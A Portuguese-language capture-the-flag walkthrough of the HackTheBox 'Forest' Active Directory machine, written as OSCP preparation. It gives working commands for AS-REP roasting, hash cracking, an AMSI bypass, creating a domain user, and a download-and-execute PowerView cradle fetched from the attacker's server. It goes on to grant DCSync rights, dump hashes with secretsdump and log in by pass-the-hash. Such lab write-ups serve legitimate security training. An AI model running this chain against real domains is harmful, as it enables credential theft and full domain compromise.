Forest

Difficulty: Easy | Preparation OSCP | Active Directory

---

Walkthrough - Youtube Habemus Shell

---

• Em breve.

HackTheBox Machine

---

Hack The Box

Scanning

---

Services and Versions

---

• Sempre importante quando estamos com um alvo que se trata de um AD, colocarmos o domínio referente a ele no nosso arquivo /etc/hosts.

Exploration

---

• Como vimos na enumeração de serviços, temos na porta 389 LDAP o active directory tem um domínio com nome htb.local

• Então precisamos colocar esse domínio apontando para o ip do nosso alvo no nosso arquivo /etc/hosts

Port 445 - SMB

---

• Tentamos enumerar as shares do smb, com a ferramenta smbclient

• Não encontramos nada nessa tentativa com usuário anonymous.

• Podemos também tentar enumerar informações do SMB através do rpcclient

rpcclient -U "" -N 10.10.10.161

-U "" = quer dizer que vamos fazer login com um usuário anonimo
-N = quer dizer que não queremos passar uma senha para esse usuário.

• No help quando entramos no contexto o rpcclient, podemos aprender como enumerar informações de usuários.

• Usuários do AD

• Vamos salvar esses usuários em uma lista

• Vamos tratar esse arquivo para ficarmos apenas com o nome dos usuários. Vamos fazer isso através do bash utilizando cut

cat users_rpc | cut -d "[" -f 2 | cut -d "]" -f 1

-d = delimitador
-f = campo

• E joga a saída para um arquivo novo.

cat users_rpc | cut -d "[" -f 2 | cut -d "]" -f 1 > users_rcp_tratado

Port 389 - LDAP

---

• Vamos tentar enumerar o serviço LDAP aberto no alvo em uma porta default não segura 389.

• O LDAP é um protocolo que é utilizado também para autenticação de usuários e dispositivos em um AD.

• Ele permite que os clientes possam consultar e gerenciar informações do AD, como detalhes de usuários, grupos, políticas, etc.

• Para isso vamos usar a ferramenta ldapsearch

• Primeiro precisamos descobrir a Base DN (Distinguished Name), ela é a raiz para buscas dentro de um diretório LDAP. Ela define o nível superior da hierarquia de objetos no diretório que será consultado.. Já que as informações do LDAP são organizadas em estrutura hierárquica de árvore

ldapsearch -H ldap://10.10.10.161 -x -s base

-x = autenticação simples, um bind anonimo
-s = escopo

• O DN pode ser encontrado na linha que menciona o defaultNamingContext, ela define o DN base padrão do servidor LDAP.

• Podemos agora enumerar informações do diretório comando no base DN que encontramos

• Utilizaremos novamente o -x para realizar um bind anonimo. Caso o servidor permita essa misconfiguration, iremos ter acesso a muitos objetos como contas de usuários, grupos, OUs, etc.

ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local"

• E fomos capazes de trazer as informações do LDAP de forma anônima.

• Então vamos filtrar pelo Object Class que faz referência aos usuários: (objectClass=person) e "sAMAccountName"

ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" "(objectClass=person)" | grep "sAMAccountName:"

• Excelente, com isso conseguimos também os usuários que fazem parte do Active Directory

• Porém, se observarem bem, temos um usuário a menos do que recuperamos do SMB com rpcclient, que é o usuário svc-alfresco

• Vamos salvar ele em um arquivo de texto e vamos retirar a primeira parte do SAMAccountName

cat users| cut -d ":" -f 2

• Observe que com o cut, delimitamos pelos 2 pontos e pegamos o 2º campo. E com isso conseguimos apenas o nome do usuário que queremos.

• Agora só jogar a saída do comando para um arquivo.

cat users| cut -d ":" -f 2 > users_tratado

Port 88 - Kerberus

---

• Bom, agora que temos uma quantidade de usuários que conseguimos através do LDAP, podemos tentar utilizar eles através de um outro protocolo de autenticação em AD que é o Kerberus.

• Para testarmos o protocolo kerberus, vou realizar uma enumeração de usuários passando a lista de usuários que conseguimos obter no LDAP e SMB, para confirmar que esses usuários estão no AD.

• Não é uma boa prática realizar bruteforce desse usuários para quebrar a senha, pois podemos bloquear o usuário no AD. Mas apenas ver se o usuário é válido no AD, não há problema.

• Vamos usar a ferramenta Kerbrute para isso:

Release v1.0.3 · ropnop/kerbrute

• Como temos 2 listas que obtivemos, tanto no smb quanto no ldap. Notamos que a do SMB esta mais completa, então vamos utilizar a do SMB

./kerbrute_linux_amd64 userenum --dc htb.local  -d htb.local users_rcp_tratado -v

userenum = enumeração de usuários, para ver se existem no servidor Kerberdores do AD
--dc = especifica o controlador de domínio (DC)
-d = define o domínio ao qual os usuários pertencem
-v = verbose

• Com isso confirmamos que alguns usuários estão válidos e ativos, e outros estão válidos mas bloqueados

• Há mais alguns testes que podemos fazer no AD com o protocolo Kerberos, um deles é o AS-REP Roasting, ele basicamente explora uma falta de pré-autenticação no Kerberos para extrair hashes de tickets. E se tivermos esses tickets, conseguimos quebrar ele de forma offline.

• Misconfiguration do Kerberos para contas com setadas com “Do not require Kerberos preauthentication".

• Por padrão o usuário envia um AS-REQ (authentication request), por padrão a mensagem vai com um timestamp criptografado com o hash da senha e só o DC pode descriptografar essa informação.

• Então envia um AS-REP (authentication response) que contém um TGT (ticket grant ticket) do usuário. Parte dessa informação é assinada com a senha do usuário. Agora sem autenticação essa mensagem vem sem a criptografia do timestamp, então eu a recebo de forma insegura.

• Abaixo um exemplo da misconfiguration na configuração de um usuário de AD que permite o AS-REP Roasting

• Vamos utilizar uma ferramenta da suíte do impacket chamada GetNPUsers que vai nos ajudar a explorar essa falha.

• Vamos passar a mesma lista de usuários que usamos no kerbrute anteriormente para verificar qual usuário tem essa flag de “Do not require Kerberos preauthentication” setada

impacket-GetNPUsers htb.local/usuario -no-pass

• Como temos uma lista de usuários, vamos realizar um laço for para testar usuário por usuário com esse comando

for x in $(cat users_rcp_tratado);do impacket-GetNPUsers htb.local/$x -no-pass; done

• Conseguimos descobrir que o usuário svc-alfresco tem setado a misconfiguration que caracteriza o AS-REP Roasting.

• Com isso, conseguimos recuperar o hash do TGT e podemos quebrar ele offline.

• Salve em um arquivo esse hash

• Pesquisando na internet no site do hashcat, conseguimos identificar qual parametro para usarmos no hashcat para tentar quebrar esse hash.

example_hashes [hashcat wiki]

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt 

-m, = tipo do hash
<nome do arquivo de hash> = no nosso caso o nome é hash
/usr/share/wordlists/rockyou.txt = wordlist

Initial Access

---

• Agora podemos tentar logar !! Não havia porta 3389 default de serviço RDP, mas temos a porta 5985 que é a porta padrão do WinRM, que pode nos dar um acesso ao sistema.

• Podemos confirmar com o crackmapexec se isso vai ser funcional

crackmapexec winrm htb.local -u svc-alfresco -p 'SENHA'

• Como recebemos a mensagem “Pwn3d!” quer dizer que vamos conseguir o acesso no alvo com esse protocolo.

• Vou utilizar a ferramenta Evil-WinRM para explorar esse protocolo.

evil-winrm -i 10.10.10.161 -u svc-alfresco -p 'SENHA'

• E com isso conseguimos a nossa primeira flag:

Privilege Escalation

---

• Agora precisamos escalar privilégio para conseguir ler a última flag do administrador.

• vamos fazer uma enumeração geral para vermos os grupos e permissões que esse usuário possui

whoami /all

• Esse usuário faz parte do grupo de Account Operators não é comum vermos uma conta com esse grupo.

• Na documentação da Microsoft esse grupo tem a seguinte característica:

O grupo Operadores de Conta concede privilégios limitados de criação de conta a um usuário. Os membros desse grupo podem criar e modificar a maioria dos tipos de contas, incluindo contas de usuários, grupos Locais e grupos Globais. Os membros do grupo podem fazer logon localmente nos controladores de domínio.

Os membros do grupo Operadores de Conta não podem gerenciar a conta do usuário Administrador, as contas de usuário dos administradores ou os grupos Administradores, Operadores de Servidor, Operadores de Conta, Operadores de Backup ou Operadores de Impressão. Os membros desse grupo não podem modificar os direitos de usuário.

Grupos de segurança do Active Directory

• Bom, se temos permissão para criar e modificar contas e grupos, que não sejam administrativas, podemos então colocar o nosso usuário em um grupo que nos permita a replicação do Domain Controler (DC), para tentarmos explorar uma vulnerabilidade de DCSync onde eu consigo replicar objetos do AD.

• O nome desse grupo é: EXCHANGE WINDOWS PERMISSIONS

• Enumerando os grupos do AD, podemos encontrar ele aqui

net group /domain

• Vamos criar um novo usuário e colocar ele nesse grupo

net user pqd abc1234 /add /domain

net group "Exchange Windows Permissions" pqd /add /domain

• Vamos antes fazer um bypass de AMSI (antimalware scan interface) para não sermos barrados na nossa exploração.

• O evil-WinRM facilita nosso trabalho

menu
Bypass-4MSI

• Agora iremos manipular ACLs(Access Control Lists) do usuário do AD, dando permissão a ersse usuário permissões de DCSync que vai possibilitar ele replicar credenciais de outros usuário.

• Vamos baixar antes o PowerView.ps1 para que possamos ter mais funções em nosso powershell para essa pós-exploração.

PowerSploit/Recon/PowerView.ps1 at master · PowerShellMafia/PowerSploit

• Vamos executar diretamente em memória sem salvar em disco o PowerView no alvo

iex(new-object net.webclient).downloadstring('http://10.10.14.15/PowerView.ps1')

• Não esqueça de subir um servidor python para prover o script, o alvo não tem acesso a internet.

python3 -m http.server 80

$pass = convertto-securestring 'abc1234' -asplain -force
$cred = new-object system.management.automation.pscredential('htb\pqd', $pass)

Add-ObjectACL -PrincipalIdentity pqd -Credential $cred -Rights DCSync

convertto-securestring = é uma forma de armazenar senhas de maneira mais segura, criptografada, em vez de como texto simples.

-asplain = indica que a string de entrada esta em texto simples e deve ser tratada como tal antes de ser convertida para uma SecureString

-force = evitar confimarções adicionais.

new-object system.management.automation.pscredential = cria um novo objeto PSCredential para representar credenciais de usuário powershell

Add-ObjectACL = manipulação de ACLs para objetos do AD, não é nativo do powershell, ele vem no PowerView ou no Evil-WinRM

-PrincipalIdentity = objeto usuário que estamos usando

-Credential = a senha desse usuário

-Rights = especifica os tipos de permissões a serem concedidas.

• Agora podemos recuperar os hashes de senha NLM com a auxílio da ferramenta da suíte impacket chamada secretsdump

impacket-secretsdump htb.local/pqd@10.10.10.161 

• Agora que temos o hash NTLM do administrador, podemos utilizar o mesmo para logar de forma administrativa.

• Vale ressaltar que não precisamos quebrar esse hash NTLM, podemos nos utilizar da técnica de pass-the-hash, para conectar.

• No Evil-WinRM ele nos da a opção de passar um hash para autenticação com a flag -H

evil-winrm -i 10.10.10.161 -u administrator -H <HASH>

• No caso do evil-winrm ele utiliza a segunda parte do hash, pois a primeira parte é comum em todos os hashes NTLM, ele indica que se trata desse tipo de hash.

• A segunda parte é o hash real da senha, por isso precisamos passar ele.

• Com isso conseguimos obter a ultima flag de administrator.